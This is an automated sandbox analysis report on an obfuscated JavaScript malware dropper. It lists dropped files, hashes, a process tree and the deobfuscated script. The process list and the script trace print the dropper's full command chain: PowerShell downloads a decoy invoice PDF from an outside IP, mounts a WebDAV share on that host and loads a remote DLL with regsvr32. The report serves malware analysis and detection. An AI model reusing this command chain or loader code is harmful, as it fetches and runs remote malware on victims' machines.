SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15213), with CRLF line terminators
Entropy (8bit):	4.911686385205743
TrID:
File name:	1775148551349412785.js
File size:	18'551 bytes
MD5:	32ed4309df19787ed32bc424bf52323b
SHA1:	27e7741b6e5a6888b743e27de9d252d35ae9850a
SHA256:	eda8a155d25eb942b35be1a5dbcb5168374dd83bf6d83d25b6e26a9686153cda
SHA512:	a4cde7e7b942837010c848aad3d0529aa7a934762dfede120da2c6d5b353ef04ce266f813b5365f6a8efc1a984be65e6c7de82c6964d0fbce27203ed75083955
SSDEEP:	384:Z3bAIwjhpbm3oJOzfI/BuvuZM8bT51ZjX3nYe9ejeD9KtMICNbxVfsn:QnYGAI/e
TLSH:	FC826184C01A67B35AE046EDAF771098332E0086CBC911798CC3CCDD669A97A57F66F7
File Content Preview:	function qafcbnb(){itaqx=[1031,3079,5127,4103,2055,3072];var rpzkqmyj=this[qezbu+bgbsy+pzltf+ogyqa+cwtwruz+mkhri+dyedgmp+krnaiwmj](this[lxylisybq+itwcz+zmwla+pzltf+tvaehwu+qezbu+krnaiwmj][pllgk+pzltf+cwtwruz+bgbsy+krnaiwmj+cwtwruz+dnpkwnxd+jeshqsb+daketx+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	01:12:56
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js"
Imagebase:	0x7ff7412f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:12:56
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll
Imagebase:	0x7ff758b60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:12:56
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:12:57
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:13:01
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:13:01
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff758b60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:13:01
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6dac10000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:13:02
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:13:02
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:13:02
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1664,i,11660581828871030460,7162394167741040457,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qafcbnb() {	qafcbnb() ➔ undefined
1	itaqx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rpzkqmyj = this[qezbu + bgbsy + pzltf + ogyqa + cwtwruz + mkhri + dyedgmp + krnaiwmj] ( this[lxylisybq + itwcz + zmwla + pzltf + tvaehwu + qezbu + krnaiwmj][pllgk + pzltf + cwtwruz + bgbsy + krnaiwmj + cwtwruz + dnpkwnxd + jeshqsb + daketx + cwtwruz + zmwla + krnaiwmj] ( lxylisybq + itwcz + zmwla + pzltf + tvaehwu + qezbu + krnaiwmj + vkkidc + itwcz + hjmeaz + cwtwruz + zuvwdnko + zuvwdnko ) [gdmazak + cwtwruz + zgsyprli + gdmazak + cwtwruz + bgbsy + bkyxvdtpp] ( ihhap + isohzzfy + zvddcayp + scdmxzyz + knanxhvqe + pllgk + okzjqjt + gdmazak + gdmazak + zvddcayp + uqubp + zsicdh + knanxhvqe + okzjqjt + itwcz + zvddcayp + gdmazak + bjaia + pllgk + lqwxq + dyedgmp + krnaiwmj + pzltf + lqwxq + zuvwdnko + zozcdp + uyahrjdcu + bgbsy + dyedgmp + cwtwruz + zuvwdnko + bjaia + mkhri + dyedgmp + krnaiwmj + cwtwruz + pzltf + dyedgmp + bgbsy + krnaiwmj + tvaehwu + lqwxq + dyedgmp + bgbsy + zuvwdnko + bjaia + apybkwfpe + lqwxq + zmwla + bgbsy + zuvwdnko + cwtwruz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tkpsze = 0 ; tkpsze < itaqx[zuvwdnko + cwtwruz + dyedgmp + zgsyprli + krnaiwmj + hjmeaz] ; ++ tkpsze )
4	{
5	if ( rpzkqmyj == itaqx[tkpsze] )
6	{
7	rpzkqmyj = true;
8	break ;
9	}
10	}
11	if ( rpzkqmyj !== true )
12	this[lxylisybq + itwcz + zmwla + pzltf + tvaehwu + qezbu + krnaiwmj][bpmwg + itiqqawiv + tvaehwu + krnaiwmj] ( );
13	this[lxylisybq + itwcz + zmwla + pzltf + tvaehwu + qezbu + krnaiwmj][pllgk + pzltf + cwtwruz + bgbsy + krnaiwmj + cwtwruz + dnpkwnxd + jeshqsb + daketx + cwtwruz + zmwla + krnaiwmj] ( lxylisybq + itwcz + zmwla + pzltf + tvaehwu + qezbu + krnaiwmj + vkkidc + itwcz + hjmeaz + cwtwruz + zuvwdnko + zuvwdnko ) [pzltf + itiqqawiv + dyedgmp] ( zmwla + ckdjzdyu + bkyxvdtpp + zozcdp + ypmeagme + zmwla + zozcdp + qezbu + lqwxq + nozwa + cwtwruz + pzltf + ogyqa + hjmeaz + cwtwruz + zuvwdnko + zuvwdnko + vkkidc + cwtwruz + rptvf + cwtwruz + zozcdp + zndlru + pllgk + lqwxq + ckdjzdyu + ckdjzdyu + bgbsy + dyedgmp + bkyxvdtpp + zozcdp + bcuir + mkhri + dyedgmp + decnxdwyv + lqwxq + gyiqqx + cwtwruz + zndlru + lxylisybq + cwtwruz + jeshqsb + gdmazak + cwtwruz + knjuzpe + itiqqawiv + cwtwruz + ogyqa + krnaiwmj + zozcdp + zndlru + dnpkwnxd + itiqqawiv + krnaiwmj + ybxysz + tvaehwu + zuvwdnko + cwtwruz + zozcdp + qqmcfpbqd + krnaiwmj + cwtwruz + ckdjzdyu + qezbu + qqmcfpbqd + bjaia + tvaehwu + dyedgmp + decnxdwyv + lqwxq + tvaehwu + zmwla + cwtwruz + vkkidc + qezbu + bkyxvdtpp + ukyvkvgay + zozcdp + hjmeaz + krnaiwmj + krnaiwmj + qezbu + rzkzyah + ypmeagme + ypmeagme + kolrjmsi + hljvjxt + jlcrtsv + vkkidc + kolrjmsi + nvjxkgu + jlcrtsv + vkkidc + kolrjmsi + vkkidc + olrghqe + rznldwuog + tktpuv + ypmeagme + tvaehwu + dyedgmp + decnxdwyv + lqwxq + tvaehwu + zmwla + cwtwruz + vkkidc + qezbu + hjmeaz + qezbu + bcuir + nsewt + nsewt + ogyqa + krnaiwmj + bgbsy + pzltf + krnaiwmj + zozcdp + qqmcfpbqd + krnaiwmj + cwtwruz + ckdjzdyu + qezbu + qqmcfpbqd + bjaia + tvaehwu + dyedgmp + decnxdwyv + lqwxq + tvaehwu + zmwla + cwtwruz + vkkidc + qezbu + bkyxvdtpp + ukyvkvgay + nsewt + nsewt + zmwla + ckdjzdyu + bkyxvdtpp + zozcdp + ypmeagme + zmwla + zozcdp + dyedgmp + cwtwruz + krnaiwmj + zozcdp + itiqqawiv + ogyqa + cwtwruz + zozcdp + bjaia + bjaia + kolrjmsi + hljvjxt + jlcrtsv + vkkidc + kolrjmsi + nvjxkgu + jlcrtsv + vkkidc + kolrjmsi + vkkidc + olrghqe + rznldwuog + tktpuv + sftwkxfe + ahqjar + ahqjar + ahqjar + ahqjar + bjaia + bkyxvdtpp + bgbsy + decnxdwyv + nozwa + nozwa + nozwa + pzltf + lqwxq + lqwxq + krnaiwmj + bjaia + nsewt + nsewt + zmwla + ckdjzdyu + bkyxvdtpp + zozcdp + ypmeagme + zmwla + zozcdp + pzltf + cwtwruz + zgsyprli + ogyqa + decnxdwyv + pzltf + jlcrtsv + olrghqe + zozcdp + ypmeagme + ogyqa + zozcdp + bjaia + bjaia + kolrjmsi + hljvjxt + jlcrtsv + vkkidc + kolrjmsi + nvjxkgu + jlcrtsv + vkkidc + kolrjmsi + vkkidc + olrghqe + rznldwuog + tktpuv + sftwkxfe + ahqjar + ahqjar + ahqjar + ahqjar + bjaia + bkyxvdtpp + bgbsy + decnxdwyv + nozwa + nozwa + nozwa + pzltf + lqwxq + lqwxq + krnaiwmj + bjaia + olrghqe + ahqjar + rznldwuog + kolrjmsi + olrghqe + lupvli + xacjcsphq + rznldwuog + olrghqe + kolrjmsi + xacjcsphq + tktpuv + olrghqe + nvjxkgu + vkkidc + bkyxvdtpp + zuvwdnko + zuvwdnko, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll",0,false) ➔ 0
14	}
15	kolrjmsi = "e";
16	kolrjmsi = "a";
17	kolrjmsi = "n";
18	kolrjmsi = "k";
19	kolrjmsi = "a";
20	kolrjmsi = "H";
21	kolrjmsi = "L";
22	kolrjmsi = "1";
23	xacjcsphq = "y";
24	xacjcsphq = "E";
25	xacjcsphq = "N";
26	xacjcsphq = "Z";
27	xacjcsphq = "D";
28	xacjcsphq = "L";
29	xacjcsphq = "O";
30	xacjcsphq = "e";
31	xacjcsphq = "u";
32	xacjcsphq = "A";
33	xacjcsphq = "U";
34	xacjcsphq = "N";
35	xacjcsphq = "u";
36	xacjcsphq = "S";
37	xacjcsphq = "B";
38	xacjcsphq = "z";
39	xacjcsphq = "N";
40	xacjcsphq = "n";
41	xacjcsphq = "O";
42	xacjcsphq = "k";
43	xacjcsphq = "S";
44	xacjcsphq = "O";
45	xacjcsphq = "R";
46	xacjcsphq = "7";
47	ybxysz = "j";
48	ybxysz = "B";
49	ybxysz = "k";
50	ybxysz = "Z";
51	ybxysz = "R";
52	ybxysz = "q";
53	ybxysz = "u";
54	ybxysz = "N";
55	ybxysz = "G";
56	ybxysz = "o";
57	ybxysz = "F";
58	ybxysz = "x";
59	ybxysz = "b";
60	ybxysz = "F";
61	daketx = "N";
62	daketx = "v";
63	daketx = "U";
64	daketx = "k";
65	daketx = "S";
66	daketx = "M";
67	daketx = "d";
68	daketx = "Y";
69	daketx = "n";
70	daketx = "s";
71	daketx = "l";
72	daketx = "e";
73	daketx = "a";
74	daketx = "N";
75	daketx = "A";
76	daketx = "K";
77	daketx = "L";
78	daketx = "q";
79	daketx = "L";
80	daketx = "C";
81	daketx = "B";
82	daketx = "r";
83	daketx = "M";
84	daketx = "E";
85	daketx = "c";
86	daketx = "O";
87	daketx = "C";
88	daketx = "U";
89	daketx = "j";
90	lqwxq = "T";
91	lqwxq = "B";
92	lqwxq = "X";
93	lqwxq = "v";
94	lqwxq = "p";
95	lqwxq = "B";
96	lqwxq = "I";
97	lqwxq = "g";
98	lqwxq = "a";
99	lqwxq = "a";
100	lqwxq = "C";
101	lqwxq = "T";
102	lqwxq = "I";
103	lqwxq = "X";
104	lqwxq = "q";
105	lqwxq = "F";
106	lqwxq = "o";
107	lqwxq = "L";
108	lqwxq = "d";
109	lqwxq = "q";
110	lqwxq = "k";
111	lqwxq = "w";
112	lqwxq = "V";
113	lqwxq = "m";
114	lqwxq = "T";
115	lqwxq = "k";
116	lqwxq = "G";
117	lqwxq = "a";
118	lqwxq = "u";
119	lqwxq = "n";
120	lqwxq = "r";
121	lqwxq = "o";
122	ogyqa = "d";
123	ogyqa = "s";
124	ogyqa = "a";
125	ogyqa = "q";
126	ogyqa = "j";
127	ogyqa = "Q";
128	ogyqa = "s";
129	ogyqa = "s";
130	bcuir = "a";
131	bcuir = "c";
132	bcuir = "y";
133	bcuir = "C";
134	bcuir = "l";
135	bcuir = "b";
136	bcuir = "e";
137	bcuir = "N";
138	bcuir = "H";
139	bcuir = "Z";
140	bcuir = "p";
141	bcuir = "q";
142	bcuir = "l";
143	bcuir = "t";
144	bcuir = "\"";
145	lupvli = "O";
146	lupvli = "h";
147	lupvli = "w";
148	lupvli = "y";
149	lupvli = "d";
150	lupvli = "U";
151	lupvli = "X";
152	lupvli = "W";
153	lupvli = "N";
154	lupvli = "g";
155	lupvli = "C";
156	lupvli = "N";
157	lupvli = "e";
158	lupvli = "Y";
159	lupvli = "K";
160	lupvli = "6";
161	nvjxkgu = "e";
162	nvjxkgu = "r";
163	nvjxkgu = "n";
164	nvjxkgu = "o";
165	nvjxkgu = "4";
166	qezbu = "i";
167	qezbu = "u";
168	qezbu = "T";
169	qezbu = "R";
170	qezbu = "o";
171	qezbu = "p";
172	uqubp = "L";
173	uqubp = "b";
174	uqubp = "S";
175	uqubp = "w";
176	uqubp = "q";
177	uqubp = "F";
178	uqubp = "N";
179	uqubp = "d";
180	uqubp = "u";
181	uqubp = "w";
182	uqubp = "V";
183	uqubp = "s";
184	uqubp = "v";
185	uqubp = "x";
186	uqubp = "o";
187	uqubp = "c";
188	uqubp = "Y";
189	uqubp = "r";
190	uqubp = "R";
191	uqubp = "H";
192	uqubp = "i";
193	uqubp = "H";
194	uqubp = "U";
195	uqubp = "o";
196	uqubp = "Q";
197	uqubp = "N";
198	nozwa = "I";
199	nozwa = "S";
200	nozwa = "R";
201	nozwa = "R";
202	nozwa = "D";
203	nozwa = "Q";
204	nozwa = "Z";
205	nozwa = "j";
206	nozwa = "B";
207	nozwa = "L";
208	nozwa = "f";
209	nozwa = "N";
210	nozwa = "w";
211	nozwa = "e";
212	nozwa = "z";
213	nozwa = "t";
214	nozwa = "N";
215	nozwa = "c";
216	nozwa = "w";
217	nozwa = "a";
218	nozwa = "n";
219	nozwa = "j";
220	nozwa = "M";
221	nozwa = "a";
222	nozwa = "A";
223	nozwa = "c";
224	nozwa = "w";
225	sftwkxfe = "p";
226	sftwkxfe = "g";
227	sftwkxfe = "P";
228	sftwkxfe = "p";
229	sftwkxfe = "C";
230	sftwkxfe = "O";
231	sftwkxfe = "d";
232	sftwkxfe = "I";
233	sftwkxfe = "v";
234	sftwkxfe = "T";
235	sftwkxfe = "W";
236	sftwkxfe = "X";
237	sftwkxfe = "I";
238	sftwkxfe = "k";
239	sftwkxfe = "U";
240	sftwkxfe = "X";
241	sftwkxfe = "u";
242	sftwkxfe = "w";
243	sftwkxfe = "x";
244	sftwkxfe = "d";
245	sftwkxfe = "Y";
246	sftwkxfe = "o";
247	sftwkxfe = "A";
248	sftwkxfe = "Z";
249	sftwkxfe = "V";
250	sftwkxfe = "q";
251	sftwkxfe = "P";
252	sftwkxfe = "Z";
253	sftwkxfe = "@";
254	bpmwg = "a";
255	bpmwg = "F";
256	bpmwg = "l";
257	bpmwg = "Y";
258	bpmwg = "B";
259	bpmwg = "z";
260	bpmwg = "P";
261	bpmwg = "J";
262	bpmwg = "R";
263	bpmwg = "l";
264	bpmwg = "W";
265	bpmwg = "l";
266	bpmwg = "U";
267	bpmwg = "H";
268	bpmwg = "O";
269	bpmwg = "B";
270	bpmwg = "Q";
271	decnxdwyv = "D";
272	decnxdwyv = "X";
273	decnxdwyv = "q";
274	decnxdwyv = "D";
275	decnxdwyv = "u";
276	decnxdwyv = "l";
277	decnxdwyv = "W";
278	decnxdwyv = "i";
279	decnxdwyv = "e";
280	decnxdwyv = "l";
281	decnxdwyv = "a";
282	decnxdwyv = "v";
283	jeshqsb = "O";
284	jeshqsb = "o";
285	jeshqsb = "s";
286	jeshqsb = "x";
287	jeshqsb = "M";
288	jeshqsb = "l";
289	jeshqsb = "u";
290	jeshqsb = "P";
291	jeshqsb = "c";
292	jeshqsb = "r";
293	jeshqsb = "J";
294	jeshqsb = "n";
295	jeshqsb = "P";
296	jeshqsb = "b";
297	bjaia = "D";
298	bjaia = "D";
299	bjaia = "\\";
300	ckdjzdyu = "p";
301	ckdjzdyu = "f";
302	ckdjzdyu = "p";
303	ckdjzdyu = "t";
304	ckdjzdyu = "E";
305	ckdjzdyu = "X";
306	ckdjzdyu = "J";
307	ckdjzdyu = "p";
308	ckdjzdyu = "o";
309	ckdjzdyu = "S";
310	ckdjzdyu = "h";
311	ckdjzdyu = "t";
312	ckdjzdyu = "k";
313	ckdjzdyu = "L";
314	ckdjzdyu = "s";
315	ckdjzdyu = "q";
316	ckdjzdyu = "X";
317	ckdjzdyu = "R";
318	ckdjzdyu = "K";
319	ckdjzdyu = "h";
320	ckdjzdyu = "k";
321	ckdjzdyu = "D";
322	ckdjzdyu = "C";
323	ckdjzdyu = "h";
324	ckdjzdyu = "d";
325	ckdjzdyu = "Q";
326	ckdjzdyu = "c";
327	ckdjzdyu = "C";
328	ckdjzdyu = "G";
329	ckdjzdyu = "O";
330	ckdjzdyu = "Z";
331	ckdjzdyu = "D";
332	ckdjzdyu = "J";
333	ckdjzdyu = "k";
334	ckdjzdyu = "d";
335	ckdjzdyu = "L";
336	ckdjzdyu = "M";
337	ckdjzdyu = "h";
338	ckdjzdyu = "Q";
339	ckdjzdyu = "O";
